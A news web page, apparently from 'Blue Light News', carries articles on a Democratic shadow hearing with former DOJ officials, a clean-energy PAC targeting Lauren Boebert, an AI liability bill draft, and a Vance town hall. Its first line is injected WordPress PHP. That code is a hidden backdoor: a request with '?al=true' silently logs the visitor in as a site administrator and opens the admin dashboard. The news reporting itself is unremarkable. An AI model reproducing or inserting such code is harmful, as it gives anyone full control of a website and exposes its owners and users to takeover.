// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Democrats question former DOJ officials about Trump administration dealings – Blue Light News
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Democrats question former DOJ officials about Trump administration dealings

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2 years ago

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Former Justice Department officials addressed Congressional Democrats Monday about the Department of Justice’s alleged closed-door dealings in a so-called shadow hearing — one of the few avenues for conducting oversight of the Trump administration afforded to the minority party in a Republican governing trifecta.

Democrats on the House and Senate Judiciary Committees pressed former DOJ pardon attorney Liz Oyer, who was fired from the department, and former federal prosecutor Ryan Crosswell, who resigned in wake of the agency’s decision to drop its corruption charges against New York City Mayor Eric Adams, about the circumstances of their departures.

Both witnesses appeared willingly before the Democratic lawmakers who, without control of the House or Senate, lack the ability to call official hearings and subpoena uncooperative witnesses.

California Democratic Sen. Adam Schiff, who led the hearing with House Judiciary ranking member Jamie Raskin (D-Md.), said Democrats had pleaded with congressional Republicans to hold oversight hearings around the Trump administration’s actions, but their colleagues had “abdicated that important responsibility.”

“Trump is taking unprecedented steps to bend our justice system to his will,” said Schiff in his opening remarks, adding that congressional Republicans “have stood by as the President has run roughshod over the legislative branch and turned Congress into a little more than a rubber stamp.”

A shadow hearing, as its often called, is a frequent tool for House lawmakers in the minority to hold public meetings around issues that the majority party will not. It’s less often deployed in the Senate. But the bicameral event was unusual in bringing together about 14 lawmakers from across the Capitol for a hearing led by one of the Senate’s most junior Democrats. Schiff, who served in the House prior to his election to the Senate last November, sat beside the top Democrat on the Senate Judiciary Committee, Dick Durbin of Illinois.

Oyer, the former pardon attorney, testified that she had been fired after refusing to cooperate with the administration’s efforts to restore the gun rights of actor Mel Gibson, who is also a supporter of President Donald Trump. She claimed that ahead of her appearance before lawmakers Monday, the Justice Department moved to silence her, sending a letter urging her not to share confidential department information. To deliver the letter, DOJ intended to send U.S. marshals to her home Friday night while her teenage son was there alone, but once Oyer confirmed receipt of the letter via email, the in-person delivery was called off, she added.

A Justice Department spokesperson did not immediately respond to a request for comment.

Crosswell, the former federal prosecutor, recalled how attorneys in his division of DOJ were asked to sign a motion to help drop the charges against Adams, after a number of other officials had resigned in refusing to cooperate. The alumnus of the DOJ’s public integrity section ultimately chose to resign his post too, he said.

In addition to Oyer and Crosswell, the witnesses included Rachel Cohen, a former Big Law associate who called on her firm to refuse to cooperate with the administration, and Stacey Young, the founder of a support network for DOJ alumni launched at the start of the second Trump administration.

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Congress

Clean energy group sets its sights on a new GOP target: Lauren Boebert

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6 hours ago

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October 7, 2026

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A clean energy group is launching a $1.5 million spend against Rep. Lauren Boebert (R-Colo.), its latest effort this midterm cycle targeting Republicans who actively work against renewables.

The Invest in Tomorrow Coalition’s first ad in the spend, which was obtained by Blue Light News, focuses on an embarrassing incident for Boebert: when she was ejected from a live musical performance of “Beetlejuice” for allegedly vaping, singing and recording the show.

“If Lauren Boebert can’t be trusted in a room full of kids, then she can’t be trusted in the halls of Congress,” the ad says.

The spot makes no mention of clean energy or Boebert’s attacks on the so-called “Green New Scam.” The strategy mimics the group’s previous playbook that it has deployed to help defeat Reps. Andy Ogles (R-Tenn.) Chip Roy (R-Texas) and Ralph Norman (R-S.C.) in their Republican primaries earlier this year, as the latter two sought statewide office. The PAC had tried to paint Ogles as an absentee member of Congress and Roy as insufficiently MAGA.

The group, which is backed by solar executives, has become an increasingly forceful player this cycle, which has seen a massive influx of outside spending.

“This industry has been villainized and used as a punching bag at times by the right, and the industry hasn’t always punched back,” said Chris Coffey, the CEO of Tusk Strategies, which is helping run the group. “Maybe when they’re deciding who to villainize next year, they will at least be like, ‘You know what? I don’t need problems with those guys.’”

Boebert’s district is historically deeply red. But Invest in Tomorrow also commissioned a poll, which shows she is underwater: 39% of likely voters view her favorably and 55% view her unfavorably. It also found Boebert leading the district’s Democratic nominee Eileen Laubacher by 5 points.

The poll, conducted by Impact Research from Sept. 21 to 24, polled 403 likely voters and had a margin of error of ±4.8%.

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Congress

Trahan unveils AI liability discussion draft

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14 hours ago

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October 7, 2026

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Rep. Lori Trahan on Wednesday unveiled a discussion draft for a bill that would make artificial intelligence developers liable when their products cause harm.

The legislation comes after OpenAI’s agents escaped containment and autonomously hacked into AI platform Hugging Face and accessed U.S. government websites.

The Clear Liability for Artificial Intelligence Misconduct Act aims to make it easier for those harmed by so-called rogue AI to bring claims against developers. Trahan’s bill does not preempt new state laws on AI liability — historically a prerequisite for attracting Republican support in the House.

“When someone breaks the law and hurts you, you can take them to court. That shouldn’t change just because the wrongdoer is an AI agent,” Trahan (D-Mass.) said in a statement. “Developers have already built systems capable of acting on their own and causing real damage. The CLAIM Act makes sure they answer for what their systems do.”

Legal experts have warned that existing laws require proof of intent or negligence, standards that can be difficult to show in court when AI models go rogue.

Trahan’s bill would ensure AI developers are unable to argue that their AI systems are incapable of intent. Instead, courts “would presume an AI system acted with the state of mind a person taking the same actions would have had.”

Trahan spokesperson Francis Grubar said work on the CLAIM Act began almost immediately after theJuly introduction of the FRONTIER Act, legislation with Rep. Jay Obernolte (R-Calif.) that would grant the government power to restrict the deployment of AI models deemed to pose catastrophic risks. While that bill aims to prevent serious harms before they happen, Grubar said the CLAIM Act would address how to impose accountability for existing damages.

Unlike an AI liability proposal announced last week by Sens. Josh Hawley (R-Mo.) and Chris Murphy (D-Conn.), Trahan’s legislation would not amend the 1986 Computer Fraud and Abuse Act. Grubar said the CLAIM Act would instead impose clearer liability on a broader range of harms, as well as autonomous or AI-enabled cyberattacks.

The CFFA, an anti-hacking law that bars individuals from accessing a computer without consent, requires proof of intent to hack into a computer system, which can’t be as easily applied to AI agents.

The Hugging Face incident, along with a flurry of other disclosed hacking incidents by rogue AI agents from OpenAI and other AI developers, has sparked a debate over how companies should be held legally liable for their AI systems.

OpenAI CEO Sam Altman, in an interview with Blue Light News’s Decoded podcast, said there should be a new “liability framework” to hold developers accountable for AI-powered cyberattacks. His comments come after White House officials like Director of National Intelligence Jay Clayton, who was recently appointed as AI czar by President Donald Trump, previously said that existing product liability laws are sufficient for now in addressing AI’s risks.

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Congress

Vance to sit for CBS town hall in Michigan ahead of midterms

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14 hours ago

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October 7, 2026

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Vice President JD Vance will take questions from Michigan voters in a CBS News town hall airing Oct. 17 as the Trump administration prepares a closing message to voters ahead of the midterms.

The town hall comes amid a blitz of campaign events for Vance and President Donald Trump as their party faces multiple headwinds that could cost them control of the House and Senate.

Michigan’s Senate contest between Democrat Abdul El-Sayed and Republican Mike Rogers has become one of the cycle’s closely watched battleground contests. Michigan also has several competitive House races and will elect a new governor for the first time in eight years.

Vance campaigned in Michigan with Rogers, gubernatorial nominee John James and Mike Bouchard Jr., the GOP nominee in the 10th Congressional District, at an Aug. 31 rally in Sterling Heights. Rep. Lisa McClain also appeared at the event.

The one-hour special, moderated by “CBS Evening News” anchor Tony Dokoupil, will be recorded earlier in the week. Vance and Dokoupil will discuss issues facing voters, including affordability, tariffs, immigration, health care, artificial intelligence, the war with Iran and the state of American democracy, according to CBS News.

The two were scheduled for a town hall interview in March, but the vice president postponed due to the war with Iran.

The vice president’s office did not immediately respond to a request for comment.

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